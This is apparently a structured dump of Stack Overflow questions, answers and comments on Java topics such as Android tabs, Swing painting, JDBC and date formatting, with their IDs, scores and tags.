answers question: http://stackoverflow.com/q/22250118

http://stackoverflow.com/q/22173692
has title: App crashes on second while using dynamic tabs
possible better answer: http://stackoverflow.com/a/22173769
tagged with: android
has answer: http://stackoverflow.com/a/22173769
type: AnsweredQuestion
tagged with: java
has answer: http://stackoverflow.com/a/22173766
type: Question
has body: I am trying to create and use dynamic tabs but if I use of toggle, add or remove tab ONCE the app works fine but as soon as I try to choose the second operation the app crashes. I know the problem is with the tabs code because the app was working fine before the tab part This is my MainActivity.java: package com.example.notepadxl; import java.io.*; import android.os.*; import android.annotation.SuppressLint; import android.annotation.TargetApi; import android.app.*; import android.app.ActionBar.Tab; import android.content.Context; import android.content.DialogInterface; import android.content.Intent; //import android.content.pm.PackageManager; import android.graphics.Typeface; import android.view.*; import android.widget.*; @TargetApi(Build.VERSION_CODES.HONEYCOMB) @SuppressLint("WorldReadableFiles") public class MainActivity extends Activity { Typeface tf=Typeface.SERIF; int sty=Typeface.NORMAL; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); } public void onAddTab() { final ActionBar bar = getActionBar(); final int tabCount = bar.getTabCount(); final String text = "Tab " + tabCount; bar.addTab(bar.newTab() .setText(text) .setTabListener(new TabListener(new TabContentFragment(text)))); } public void onRemoveTab() { final ActionBar bar = getActionBar(); if(bar.getTabCount() &gt; 0) bar.removeTabAt(bar.getTabCount() - 1); } public void onToggleTabs() { final ActionBar bar = getActionBar(); if (bar.getNavigationMode() == ActionBar.NAVIGATION_MODE_TABS) { bar.setNavigationMode(ActionBar.NAVIGATION_MODE_STANDARD); bar.setDisplayOptions(ActionBar.DISPLAY_SHOW_TITLE, ActionBar.DISPLAY_SHOW_TITLE); } else { bar.setNavigationMode(ActionBar.NAVIGATION_MODE_TABS); bar.setDisplayOptions(0, ActionBar.DISPLAY_SHOW_TITLE); } } public void onRemoveAllTabs(View v) { getActionBar().removeAllTabs(); } private class TabListener implements ActionBar.TabListener { private TabContentFragment mFragm…
accepted answer: http://stackoverflow.com/a/22173766
score: 0
answer count: 2

http://stackoverflow.com/comment/70545952
comment on: http://stackoverflow.com/q/22225663
score: 0
type: QuestionComment
type: Comment
has text: @Krease I used the accepted answer and it seems to work. Tests fail when the wrapper does not call the delegate. Just having the same methods in the wrapper and the delegate (which is always the case seeing as they extend each other) will fail the test. So I am not sure I 100% understand your remark

http://stackoverflow.com/a/22286444
score: 2
accepted answer of: http://stackoverflow.com/q/22286286
answers question: http://stackoverflow.com/q/22286286
has comment: http://stackoverflow.com/comment/33862072
has comment: http://stackoverflow.com/comment/33878170
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/33858546
has body: Just add this in... it's not refreshing cause you haven't asked it to. jSlider1.addChangeListener(new ChangeListener() { public void stateChanged(ChangeEvent arg0) { jPanel1.repaint(); } });
has comment: http://stackoverflow.com/comment/33858516
type: Answer
upvote count: 2
has comment: http://stackoverflow.com/comment/33858232
has comment: http://stackoverflow.com/comment/33872759

http://stackoverflow.com/comment/33911800
comment on: http://stackoverflow.com/a/22302884
has text: After completing the second loop every time,the "sum" was updated if it is less than the current "add" value..
type: AnswerComment
score: 0
type: Comment

http://stackoverflow.com/a/22295127
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/22294909
upvote count: 2
type: Answer
score: 2
has comment: http://stackoverflow.com/comment/33873405
has comment: http://stackoverflow.com/comment/33873346
has body: You need the JDBC driver at runtime, not just at build time. The jar should NOT be added tho the build path of your eclipse project. It should simply be dropped inside WebContent/WEB-INF/lib, which will automatically add it to the build path AND to the set of jars that must be deployed as libraries of your webapp.
has comment: http://stackoverflow.com/comment/33873393
downvote count: 0
answers question: http://stackoverflow.com/q/22294909

http://stackoverflow.com/comment/33707475
type: AnswerComment
type: Comment
has text: Oh, well. I had tried with date which has a precision step 0. But the same result. Do you think the format in which the date is stored is alright?
comment on: http://stackoverflow.com/a/22178413
score: 0

http://stackoverflow.com/comment/33831684
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22272123
has text: Integer division warning! Warning! Pass by value warning! Those are two things you should look into.
score: 0

http://stackoverflow.com/comment/33794440
score: 0
type: QuestionComment
has text: Can you please suggest me how to show detached view part when clicking on the menuitem? I can pass the value to the view part using `MPart part = partService.findPart("part id ");` and set the value from the handler. @greg-449
type: Comment
comment on: http://stackoverflow.com/q/22251064

http://stackoverflow.com/a/58437140
has body: Method 1 : // @FXML private AnchorPane pnlContainer; FXMLLoader loader = new FXMLLoader(getClass().getResource("Demo.fxml")); Node _node = loader.load(); _node.prefWidth(pnlContainer.widthProperty().doubleValue()); _node.prefHeight(pnlContainer.heightProperty().doubleValue()); // container child clear pnlContainer.getChildren().clear(); // new container add pnlContainer.getChildren().add(_node); Alternative method; FXMLLoader loader = new FXMLLoader(getClass().getResource("Demo.fxml")); Node _node = loader.load(); AnchorPane.setTopAnchor(_node, 0.0); AnchorPane.setRightAnchor(_node, 0.0); AnchorPane.setLeftAnchor(_node, 0.0); AnchorPane.setBottomAnchor(_node, 0.0); // container child clear pnlContainer.getChildren().clear(); // new container add pnlContainer.getChildren().add(_node); Method 2 detail link : JavaFX Panel inside Panel auto resizing
type: Answer
score: 0
answers question: http://stackoverflow.com/q/22270994

http://stackoverflow.com/a/22275066
has comment: http://stackoverflow.com/comment/33837138
has comment: http://stackoverflow.com/comment/33837313
score: 5
downvote count: 0
type: Answer
has body: frame.setSize(800, 500); is including Borders, then absolute coordinated new MigLayout("", "[800px]", "[500px]") used as constant in MigLayout are greater than JFrame without/minus Borders, part of your image is painted off screen, you can to simulating by using frame.setLayout(new MigLayout("debug", "[400px]", "[300px]")); instread of frame.setLayout(new MigLayout("", "[400px]", "[300px]")); use JFrame.pack() before JFrame.setVisible(true) used most of details from your code EDIT by removing default gap import java.awt.Color; import java.awt.GradientPaint; import java.awt.Graphics2D; import java.awt.event.ActionEvent; import java.awt.image.BufferedImage; import java.util.Random; import javax.swing.AbstractAction; import javax.swing.Action; import javax.swing.ImageIcon; import javax.swing.JFrame; import javax.swing.JLabel; import javax.swing.SwingUtilities; import javax.swing.Timer; import net.miginfocom.swing.MigLayout; public class MigAndIcon { private JLabel label = new JLabel(); private Random random = new Random(); private Timer backTtimer; private JFrame frame = new JFrame("Test"); public MigAndIcon() { //frame.setLayout(new MigLayout("", "[400px]", "[300px]")); frame.setLayout(new MigLayout("insets 0, debug", "[400px]", "[300px]")); frame.add(label, "cell 0 0, grow"); frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); frame.pack(); startBackground(); frame.setVisible(true); } private void startBackground() { backTtimer = new javax.swing.Timer(1500, updateBackground()); backTtimer.start(); backTtimer.setRepeats(true); } private Action updateBackground() { return new AbstractAction("Background action") { private final long serialVersionUID = 1L; @Override public void actionPerformed(ActionEvent e) { label.setIcon(new ImageIcon(getImage())); } }; } public static void main(String[] args) { SwingUtilities.invokeLater(new Runnable() { @Override public void run() { MigAndIcon t = new MigAndIcon(); } }); } public BufferedImage getImage() { int w = label.getWidth()…
answers question: http://stackoverflow.com/q/22274722
has comment: http://stackoverflow.com/comment/33837387
upvote count: 5

http://stackoverflow.com/q/22202745
has title: What is MediaPlayer.OnInfoListener “code 973”?
has comment: http://stackoverflow.com/comment/38807862
tagged with: java
tagged with: stream
type: Question
upvote count: 4
tagged with: android-mediaplayer
downvote count: 0
score: 4
tagged with: media-player
tagged with: android
has body: I am running a stream via MediaPlayer. I use MediaPlayer.OnInfoListener to get info on the streaming process. Here is my code: mPlayer.setOnInfoListener(new MediaPlayer.OnInfoListener() { @Override public boolean onInfo(MediaPlayer mediaPlayer, int infoCode, int i2) { Log.d(TAG, "MediaPlayer.OnInfoListener: " + infoCode); return false; } }); I get infoCode = 973. I can't find it in the documentation : http://developer.android.com/reference/android/media/MediaPlayer.html What does it mean ?
favorite count: 0
type: UnansweredQuestion
answer count: 0

http://stackoverflow.com/a/22301595
answers question: http://stackoverflow.com/q/22301396
downvote count: 0
has body: Error:Android Packager: [ExampleApplication] java.io.FileNotFoundException: /bin/ExampleApplication.unaligned.apk (Permission denied) Are you sure that android studio can write in this directory ? you try executing android studio as Administrator ?
type: Answer
has comment: http://stackoverflow.com/comment/33884999
score: 2
has comment: http://stackoverflow.com/comment/33886561
upvote count: 2
has comment: http://stackoverflow.com/comment/33893389
has comment: http://stackoverflow.com/comment/33885048
has comment: http://stackoverflow.com/comment/33977700

http://stackoverflow.com/q/22267816
favorite count: 0
has answer: http://stackoverflow.com/a/22267870
answer count: 5
type: UnansweredQuestion
has body: I am still a novice with regular expressions, "regex", etc... in Java. If I have an url like this : "http://somedomain.someextention/somefolder/.../someotherfolder/somepage" What is the simplest way to get : "somedomain.someextention" ? "somefolder/.../someotherfolder/somepage" ? "somepage" ? Thanks !
tagged with: android
has title: Java : how to get text between "http://" and first following "/" occurence ? And after first "/" occurence?
upvote count: 1
has answer: http://stackoverflow.com/a/22270930
has comment: http://stackoverflow.com/comment/33824161
tagged with: regex
has answer: http://stackoverflow.com/a/22267858
has answer: http://stackoverflow.com/a/22267908
tagged with: java
has answer: http://stackoverflow.com/a/22267914
type: Question
downvote count: 0
linked to: http://stackoverflow.com/q/1667278
score: 1

http://stackoverflow.com/a/32682027
has body: I encountered this error when I was trying to build selenium webdriver. as suggested above by Rogue that we need to reduce the allocated memory in the arguments. I changed java heap size arguments as below java $JAVA_OPTS -Xmx256m -XX:MaxPermSize=512m -XX:ReservedCodeCacheSize=256m -jar third_party/jruby/jruby-complete.jar -X-C -S rake $*
answers question: http://stackoverflow.com/q/22276910
type: Answer
score: 0

http://stackoverflow.com/q/22206641
tagged with: http://stackoverflow.com/tag/xml
answer count: 0
has comment: http://stackoverflow.com/comment/33727479
has comment: http://stackoverflow.com/comment/33776783
type: Question
has comment: http://stackoverflow.com/comment/33717071
tagged with: java
score: 0
tagged with: wsdl
has title: Using Java check xml file contains SOAP Message or XSD content or WSDL content
has body: With the help of java, how can we check weather passed file contains pure SOAP Message or it is an XSD or it is a WSDL. Need strong regular expression to check this. Suppose we read an file(FileType is .txt) and 1. If the passed file contains SOAPMessage inside it without another extra tag. How to handle this use case. 2. If the passed file contains XSD then how to handle this use case 3. If the passed file contains WSDL then how to handle this use case
type: UnansweredQuestion
tagged with: regex
tagged with: xsd

http://stackoverflow.com/comment/33917834
score: 0
has text: Here is a similar question with a few answers: http://stackoverflow.com/questions/5337179/java-tool-to-compare-api-of-library
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22319368

http://stackoverflow.com/q/22213401
has answer: http://stackoverflow.com/a/22213556
tagged with: android
upvote count: 1
has answer: http://stackoverflow.com/a/22213529
answer count: 4
has comment: http://stackoverflow.com/comment/33726766
has title: How to use String to reference fields in the program code
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/22220167
tagged with: reflection
has comment: http://stackoverflow.com/comment/33726681
score: 1
tagged with: java
type: Question
has answer: http://stackoverflow.com/a/22213967
has body: I have a program with various ID constants like final int MN=8; final int PY=58; final int RB=13; ... these costants are index of elements in a matrix, for various reasons difficult to explain, will be good If I can do a method that receives two strings for example Object getElement("MN","PY"){ ... } to acts like Object o=mymatrix[MN][PY]; using the passed strings to reference declared fields Is there any way to do this accessing the fields directly (without puth them in a Map or use switch and if else condition for every field)?
has comment: http://stackoverflow.com/comment/33726583
linked to: http://stackoverflow.com/q/13298823
has comment: http://stackoverflow.com/comment/33726832
has comment: http://stackoverflow.com/comment/33727161
downvote count: 0
possible better answer: http://stackoverflow.com/a/22213529
favorite count: 0
has comment: http://stackoverflow.com/comment/33726912
accepted answer: http://stackoverflow.com/a/22220167

http://stackoverflow.com/comment/33744898
comment on: http://stackoverflow.com/a/22224067
score: 0
type: Comment
has text: Exception in thread "AWT-EventQueue-0" java.lang.NullPointerException at assignment_work.getCounts(assignment_work.java:199) at assignment_work.actionPerformed(assignment_work.java:294) at javax.swing.AbstractButton.fireActionPerformed(AbstractButton.java:2028) at javax.swing.AbstractButton$Handler.actionPerformed(AbstractButton.java:2351) at javax.swing.DefaultButtonModel.fireActionPerformed(DefaultButtonModel.java:387) at javax.swing.DefaultButtonModel.setPressed(DefaultButtonModel.java:242) at javax.swing.plaf.basic.BasicButtonListener.mouseReleased(BasicButtonListener.java:236)
type: AnswerComment

methods
tags question: http://stackoverflow.com/q/22312352
tags question: http://stackoverflow.com/q/22307112
tags question: http://stackoverflow.com/q/22227407
tags question: http://stackoverflow.com/q/22273880
tags question: http://stackoverflow.com/q/22287000
tags question: http://stackoverflow.com/q/22327009
tags question: http://stackoverflow.com/q/22291204
tags question: http://stackoverflow.com/q/22327060
tag name: methods
tags question: http://stackoverflow.com/q/22241283
tags question: http://stackoverflow.com/q/22236132
tags question: http://stackoverflow.com/q/22246618
tags question: http://stackoverflow.com/q/22282269
type: Tag
tags question: http://stackoverflow.com/q/22266451
tags question: http://stackoverflow.com/q/22216633
tags question: http://stackoverflow.com/q/22208839
tags question: http://stackoverflow.com/q/22280013
tags question: http://stackoverflow.com/q/22209541
tags question: http://stackoverflow.com/q/22271416
tags question: http://stackoverflow.com/q/22284832
tags question: http://stackoverflow.com/q/22315741
tags question: http://stackoverflow.com/q/22183740
tags question: http://stackoverflow.com/q/22180008
tags question: http://stackoverflow.com/q/22174267
tags question: http://stackoverflow.com/q/22308000
tags question: http://stackoverflow.com/q/22278918
tags question: http://stackoverflow.com/q/22208771
tags question: http://stackoverflow.com/q/22299897
tags question: http://stackoverflow.com/q/22239656
tags question: http://stackoverflow.com/q/22182640
tags question: http://stackoverflow.com/q/22203854
tags question: http://stackoverflow.com/q/22188371
tags question: http://stackoverflow.com/q/22292201
tags question: http://stackoverflow.com/q/22187700
tags question: http://stackoverflow.com/q/22287818
tags question: http://stackoverflow.com/q/22311654
tags question: http://stackoverflow.com/q/22315913
tags question: http://stackoverflow.com/q/22210535
tags question: http://stackoverflow.com/q/22290169
tags question: http://stackoverflow.com/q/22296710
tags question: http://stackoverflow.com/q/22242726
tags question: http://stackoverflow.com/q/22263121

http://stackoverflow.com/comment/33664566
score: 0
has text: @SLaks Is this syntax is same as it appears in code, or some type of annotation, for example, in SQL u would use `CREATE [TABLE|VIEW|PROCEDURE..` to show various possible values and if they are optional or not. Is it the same case here, or is this the exact syntax?
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22179437

http://stackoverflow.com/comment/33655996
comment on: http://stackoverflow.com/q/22171097
score: 0
has text: *Do you have an idea how to insert the "Continuation: ..." at the top of a page?* - As I hinted at in my former comment: Only use `onStartPage` to check whether "Continuation of ..." needs to be added, and store this in a variable of the `PdfPageEvent` implementation; then in `onEndPage` check that variable and if it is `true`, add "Continuation of ..." at the top of the page using `PdfWriter.getDirectContent`.
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/33670051
score: 0
comment on: http://stackoverflow.com/a/22179940
type: AnswerComment
type: Comment
has text: @iamnotmaynard: both of my examples are null safe. TextUtils.isEmpty checks for null. You can look at the code yourself in Android.

http://stackoverflow.com/q/22201331
has answer: http://stackoverflow.com/a/23514656
has title: EditText scale with selection
upvote count: 31
tagged with: pinchzoom
favorite count: 0
type: UnansweredQuestion
has body: I have an EditText I want to zoom it, and scroll with setScaleX/setScaleY and it works fine - text is being edited in the right position. But when I try to select text - it draws selection handles to positions like when text is not scaled. It is known bug. It's expected result because handles are drawn on popup window related to view size. All actions on android.widget.Editor are targeted to its field private TextView mTextView;. And if we will set own editor by reflection, I don't know what to do with private methods, that are no overridable. Also selection handles are drawn on Popup window android.widget.Editor.HandleView#HandleView coordinates calculated in Layout and I need only DynamicLayout but it have no difference for our purposes. Method android.text.Layout#getPrimaryHorizontal(int, boolean) is public and its value can be multiplied on scale, but for that we need to extend and override private method android.widget.TextView#makeSingleLayout, but this is a problem. Also we could implement our own Layout with all required overriden methods, but all methods that we can override are marked with @hide annotation and there are no fields that can be accessed with a reflection. Next screenshot appears for scaled on 2x PS: context of the task is an Editor with pinch-to-zoom edit text. Relayout of text with calculation of size is not a solution. Because I need Portable Document on each screen size.
tagged with: android
score: 31
tagged with: editor
has answer: http://stackoverflow.com/a/23586696
has comment: http://stackoverflow.com/comment/36904323
downvote count: 0
tagged with: java
linked to: http://stackoverflow.com/q/21546762
has comment: http://stackoverflow.com/comment/36059066
type: Question
has comment: http://stackoverflow.com/comment/36384736
answer count: 2
has comment: http://stackoverflow.com/comment/36905058
tagged with: spanned

http://stackoverflow.com/comment/33803691
has text: Each element of the array is a sperate linked list, list[1] for example contains a linked list with a node that contains the students id and another node that has information about the course they are taking, while list[2] would have a different id and different course info
type: QuestionComment
comment on: http://stackoverflow.com/q/22255780
score: 0
type: Comment

http://stackoverflow.com/comment/33896269
score: 0
type: AnswerComment
type: Comment
has text: It's for backwards compatibility. I've added to my answer with a JLS link and quotes.
comment on: http://stackoverflow.com/a/22307530

http://stackoverflow.com/comment/33675246
has text: so in my case the 0 one is this ? Votes: and the 1 is the next one?
score: 0
type: Comment
comment on: http://stackoverflow.com/a/22185144
type: AnswerComment

http://stackoverflow.com/comment/33819827
type: AnswerComment
comment on: http://stackoverflow.com/a/22264974
type: Comment
has text: @user3395120 I simplified it a bit with `RandomGenerator` :) Also, take a look at [The ACM Java Libraries](http://www.ux1.eiu.edu/~cfnkv/Papers/tutorial-ccsc-mw2009.pdf) tutorial, it has some simple examples.
score: 0

http://stackoverflow.com/q/22230826
has comment: http://stackoverflow.com/comment/33756514
downvote count: 0
has body: I am building a DAQ software and right now I am in the process of creating a log file. I thought of showing the time on each entry. A simple code(that cannot compile) is the following import java.util.Date; import java.text.DateFormat; import java.text.SimpleDateFormat; import java.util.Calendar; public class daq(){ SimpleDateFormat now = new SimpleDateFormat("hh:mm:ss"); public void go(){ report.setProperty("INSERT", "["+now.format(new Date())+"] Acquisition Started\n"); } public void init(){ report.setProperty("INSERT", "["+now.format(new Date())+"] ADC Channel 1: Read Complete\n"); report.setProperty("INSERT", "["+now.format(new Date())+"] Initialisation Complete\n"); } public void stop(){ report.setProperty("INSERT", "["+now.format(new Date())+"] Acquisition Stopped\n"); } } A typical result of the above "code" is the following [06:30:09] Acquisition Started [06:30:09] ADC Channel 1: Read Complete [06:30:09] Initialisation Complete [06:30:13] Acquisition Stopped I was wondering if there is a way to display the time in 24 hour format(i.e. 18:30:09 instead of 06:30:09)? Is there also a way to display milliseconds? A format like hh:mm:ss:mils? I tried to use sss instead of ss but I only get a 0 for the first s. An example output is [21:50:004] Acquisition Started [21:50:004] ADC Channel 1: Read Complete [21:50:004] Initialisation Complete [21:50:013] Acquisition Stopped
accepted answer: http://stackoverflow.com/a/22232104
possible better answer: http://stackoverflow.com/a/22230860
favorite count: 0
has comment: http://stackoverflow.com/comment/33756604
tagged with: time
type: AnsweredQuestion
upvote count: 3
tagged with: java
type: Question
has comment: http://stackoverflow.com/comment/33756697
score: 3
tagged with: format
has answer: http://stackoverflow.com/a/23977611
tagged with: date
has title: 24 hour in SimpleDateFormat() and milliseconds in java
has answer: http://stackoverflow.com/a/22230860
has answer: http://stackoverflow.com/a/22232104
answer count: 3
has comment: http://stackoverflow.com/comment/33756322

http://stackoverflow.com/comment/33744849
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22223601
has text: are the other parameters separated also with nextline characters or is just the one signalling the only nextline character in the whole string?
score: 0

http://stackoverflow.com/a/22323227
has body: A assume you're executing the loop in some listener/action handler and thus in the event dispatch thread, which updates the ui. That would cause ui updates to be halted until the loop is executed and hence you only see the last iteration. As you correctly said, using a SwingWorker should help, because the loop would then be executed by a different thread. Example: class ActionRollWorker extends SwingWorker&lt;Void, String&gt; { public StringdoInBackground() { for(int i = 0; i &lt; 3; i++){ // making instance of generator Generator generator = new Generator(); //get info from generator String uitkomst = generator.getResults(); int isHonderd = generator.getIfHunderd(); int isMexico = generator.getIfMexico(); publish(uitkomst); } return null; } protected void process( List&lt;String&gt; chunks ) { for( String uitkomst : chunks ) { String[] parts = uitkomst.split("-"); String dice1 = parts[0]; String dice2 = parts[1]; //setLeft Dice ImageIcon image = new ImageIcon("img/diceSurface/diceSurface0"+dice1+".png"); ((IconPanel) pnDiceLeft).setImage(image); //setRightDice ImageIcon image1 = new ImageIcon("img/diceSurface/diceSurface0"+dice2+".png"); ((IconPanel) pnDiceRight).setImage(image1); } } protected void done() { //nothing } } Call it like: new ActionRollWorker().execute(); Note that pnDiceLeft etc. might either have to be passed to the worker or the worker needs to be an inner or anonymous class to have access to those variables, depending on how and where they are defined. Also note that this is untested code and some things might be missing but it should get you started.
accepted answer of: http://stackoverflow.com/q/22323082
upvote count: 1
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/22323082
has comment: http://stackoverflow.com/comment/33923332
type: Answer
downvote count: 0
score: 1

http://stackoverflow.com/q/22232391
score: 0
tagged with: groovy
has title: Spock believes inner enum of tested class should be a property of Spec
has comment: http://stackoverflow.com/comment/33762847
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/22235905
has body: I have a Java class that I'm trying to test with Spock. The Java class contains an inner enum: import static java.util.Calendar.*; import java.util.*; public class FederalHolidays { public enum Observance { NEW_YEARS_DAY(JANUARY, 1), BIRTHDAY_OF_MARTIN_LUTHER_KING_JR(JANUARY, MONDAY, 3), WASHINGTONS_BIRTHDAY(FEBRUARY, MONDAY, 3), MEMORIAL_DAY(MAY, MONDAY, -1), INDEPENDENCE_DAY(JULY, 4), LABOR_DAY(SEPTEMBER, MONDAY, 1), COLUMBUS_DAY(OCTOBER, MONDAY, 2), VETERANS_DAY(NOVEMBER, 11), THANKSGIVING_DAY(NOVEMBER, THURSDAY, 4), CHIRSTMAS_DAY(DECEMBER, 25); private final int month; private final int dayOfMonth; private final int dayOfWeek; private final int weekOfMonth; private static final int NA = 0; private Observance(int month, int dayOfMonth) { this.month = month; this.dayOfMonth = dayOfMonth; this.dayOfWeek = NA; this.weekOfMonth = NA; } private Observance(int month, int dayOfWeek, int weekOfMonth) { this.month = month; this.dayOfMonth = NA; this.dayOfWeek = dayOfWeek; this.weekOfMonth = weekOfMonth; } boolean isFixedDate() { return dayOfMonth != NA; } } public Date dateOf(Observance observance, int year) { Calendar cal = Calendar.getInstance(TimeZone.getTimeZone("EST"), Locale.ENGLISH); cal.set(YEAR, year); cal.set(MONTH, observance.month); cal.clear(HOUR); if (observance.isFixedDate()) { cal.set(DAY_OF_MONTH, observance.dayOfMonth); } else { setNthDayOfWeek(cal, observance.dayOfWeek, observance.weekOfMonth); } adjustForWeekendsIfNecessary(cal); return cal.getTime(); } private void setNthDayOfWeek(Calendar cal, int dayOfWeek, int n) { int week = 0; int lastDay = cal.getActualMaximum(DAY_OF_MONTH); int startDay = n &gt; 0 ? 1 : lastDay; int endDay = n &gt; 0 ? lastDay : 1; int incrementValue = n &gt; 0 ? 1 : -1; for (int day = startDay; day != endDay; day += incrementValue) { cal.set(DAY_OF_MONTH, day); if (cal.get(DAY_OF_WEEK) == dayOfWeek) { week += incrementValue; if (week == n) { return; } } } } private void adjustForWeekendsIfNecessary(Calendar cal) { int dayOfWee…
tagged with: enums
tagged with: java
has comment: http://stackoverflow.com/comment/33762060
type: Question
answer count: 2
tagged with: spock
has comment: http://stackoverflow.com/comment/33760797
has answer: http://stackoverflow.com/a/22234496

http://stackoverflow.com/a/22290443
has body: In order to implement affects the original sequence as well. part which is the most challenging you'd need to wrap your integers into Objects and store array or list of those wrapper objects in your implementation. This way changing internal int in this wrappers will affect all your sequences since by storing wrappers you will only store references to those wrapper objects and not objects themselves as in case of int. How it works: This is all about reference to an object vs primitive types in java. In case of primitive types a = b actually create a COPY of b in a, in case of objects a = b copies only reference to the object b into a. Therefore changing b's internals will affect what you'll see though reference a.
answers question: http://stackoverflow.com/q/22290346
score: 0
type: Answer

http://stackoverflow.com/a/22194539
has body: First off you're forgetting to call super.paintComponent in your paintComponent method. Also paintComponent should be protected not public @Override protected void paintComponent(Graphics g) { super.paintComponent(g); g.drawImage(..); } Second, I don't think you want to create a new iconPanel and immediately call repaint on it. That will probably do nothing. Instead have a setter for your pic, then just repaint(); inside that method. public void setPic(Image pic) { this.pic = pic; repaint(); } Then you can just call the setPic from the the class you created the iconPanel in. For example iconPanel panel = new iconPanel("..."); ... // then in some listener public void actionPerformed(ActionEvent e) { Image pic = null; try { pic = ImageIO.read(...); panel.setPic(pic); } catch ... } Another option is just to have an array of images you initialize in the iconPanel. Then in a a listener, you can just change the index the if the image array then call repaint. Something like this Image[] images = new Image[5]; int imageIndex = 0; // fill the array with images protected void paintComponent(Graphics g) { super.paintComponent(g); g.drawImage(images[imageIndex], ...); } Then you could just change the imageIndex and repaint() Side Note You should be using Java naming convention. Class names being with capital letters i.e. iconPanel &rarr; IconPanel Update Using ImageIcon public void setImage(ImageIcon img) { pic = img.getImage(); repaint(); }
upvote count: 8
has comment: http://stackoverflow.com/comment/33692270
has comment: http://stackoverflow.com/comment/33696053
type: Answer
has comment: http://stackoverflow.com/comment/33691702
score: 8
has comment: http://stackoverflow.com/comment/33691829
has comment: http://stackoverflow.com/comment/33692410
has comment: http://stackoverflow.com/comment/33692052
has comment: http://stackoverflow.com/comment/33698701
has comment: http://stackoverflow.com/comment/33696371
answers question: http://stackoverflow.com/q/22194404
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/33691756
downvote count: 0
has comment: http://stackoverflow.com/comment/33695556
has comment: http://stackoverflow.com/comment/33692249
has comment: http://stackoverflow.com/comment/33695093
has comment: http://stackoverflow.com/comment/33692109
has comment: http://stackoverflow.com/comment/33696293
accepted answer of: http://stackoverflow.com/q/22194404

http://stackoverflow.com/q/22230727
type: UnansweredQuestion
tagged with: ssh
has answer: http://stackoverflow.com/a/22231244
has body: I've been coding a litte bash script which connects on several distant servers, then execute a java CLI program through a few expect instructions. It goes like this : bash script expect ssh to server using public keys expect ... expect ... log_file my_file (everything displayed on the screen is now redirected to my_file) expect ... log_file (closing my_file) exit exit When I execute my script manually everything runs OK. When I execute it through crontab, the file my_file is empty. I found out that cron jobs don't have a tty attached and that PATH isn't the same as usually My question is : is there a way to force the creation/allocation of a tty to my cronjob? I've tried using the -t and -tt option with ssh but no result. redirecting standard output on different levels of the script didn't work. Also, I can't install screen (which could have helped, maybe) and "script" isn't writing anything either. Thanks a bunch!
tagged with: tty
has title: force tty creation for crontab job
tagged with: java
type: Question
tagged with: expect
score: 0
answer count: 1
tagged with: linux

http://stackoverflow.com/a/22333192
has body: I get the feeling you are going about it the "wrong" way. If you are working with TableLayout, then you don't need to think ahead of how TableLayout works internally. Just sort the array how you want (desc/asc etc) and build your table after that. You define your table with how many columns and then all you do is add rows. In your sorted example you have two columns. Define 2 columns (this can be done dynamically, depending on your data) and add rows and the results would be just like you have there. I'll give a code example: for (int i = 0; i &lt; listAnswersSorted.size(); i++) { TableRow table_row = new TableRow(this); TextView tv = new TextView(this); table_row.setLayoutParams(new LayoutParams(LayoutParams.FILL_PARENT, LayoutParams.FILL_PARENT)); table_row.setGravity(Gravity.CENTER_HORIZONTAL); tv.setText(listAnswersSorted.get(i)); table_row.addView(tv); } ... table.addView(table_row); Hope you solve the problem in any case.
type: Answer
answers question: http://stackoverflow.com/q/22313598
score: 0

http://stackoverflow.com/comment/33917273
comment on: http://stackoverflow.com/q/22319592
type: QuestionComment
type: Comment
score: 0
has text: I don't really understand why you'd need/want to. [Coding to interfaces](http://stackoverflow.com/questions/383947/what-does-it-mean-to-program-to-an-interface) is much nicer.

http://stackoverflow.com/q/22208344
has comment: http://stackoverflow.com/comment/33716938
possible better answer: http://stackoverflow.com/a/22208686
score: 0
has comment: http://stackoverflow.com/comment/33717000
has answer: http://stackoverflow.com/a/22208686
accepted answer: http://stackoverflow.com/a/22236841
tagged with: jdbc
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/33716744
tagged with: prepared-statement
type: Question
has body: Basically i am having trouble with the method below - say image 2 is null - then the sql statement that gets used should be update ProfileImages set optionalImageTwo = ? where userid = ? "; - However, when i inspect the prepared statement i can see the following com.mysql.jdbc.PreparedStatement@11568fb5: update ProfileImages set optionalImageTwo = 'i·?' where userid = 'test' I am calling the method with test, abc Any ideas why this is not working correctly, as when i run the method again, image 2 is still null. Thanks public static boolean addOptionalImages(String userid, String image){ Connection conn = null; PreparedStatement st = null; ResultSet rs = null; PreparedStatement prepst = null; final String getOptionalImages = "SELECT * FROM ProfileImages WHERE userid = '" + userid + "'"; try { conn = source.getConnection(); st = conn.prepareStatement(getOptionalImages); //firstly grab all optional images for the user so we can see //if the user has already uploaded this image or not String sql = null; Blob imageOne; Blob imageTwo; Blob imageThree; Blob imageFour; st = conn.prepareStatement(getOptionalImages); rs = st.executeQuery(getOptionalImages); if(rs.next()){ imageOne = rs.getBlob(1); imageTwo = rs.getBlob(2); imageThree = rs.getBlob(3); imageFour= rs.getBlob(4); //check which image to update in the db if(imageOne == null){ sql = "update ProfileImages set optionalImageOne = ? where userid = ? "; }else if(imageTwo == null){ sql = "update ProfileImages set optionalImageTwo = ? where userid = ? "; }else if(imageThree == null){ sql = "update ProfileImages set optionalImageThree = ? where userid = ? "; }else if(imageFour == null){ sql = "update ProfileImages set optionalImageFour = ? where userid = ? "; } } prepst = conn.prepareStatement(sql); BASE64Decoder decoder = new BASE64Decoder(); byte[] imageArray = decoder.decodeBuffer(image); Blob blobValue = new SerialBlob(imageArray); prepst.setBlob(1,blobValue); prepst.setString(2,userid); prepst.executeUpdate(); return t…
tagged with: java
tagged with: mysql
has answer: http://stackoverflow.com/a/22236841
has comment: http://stackoverflow.com/comment/33716857
has title: Trouble with prepared statement
answer count: 2

http://stackoverflow.com/q/22227854
accepted answer: http://stackoverflow.com/a/22232823
has title: Having issue with SAP Java connectors
tagged with: jco
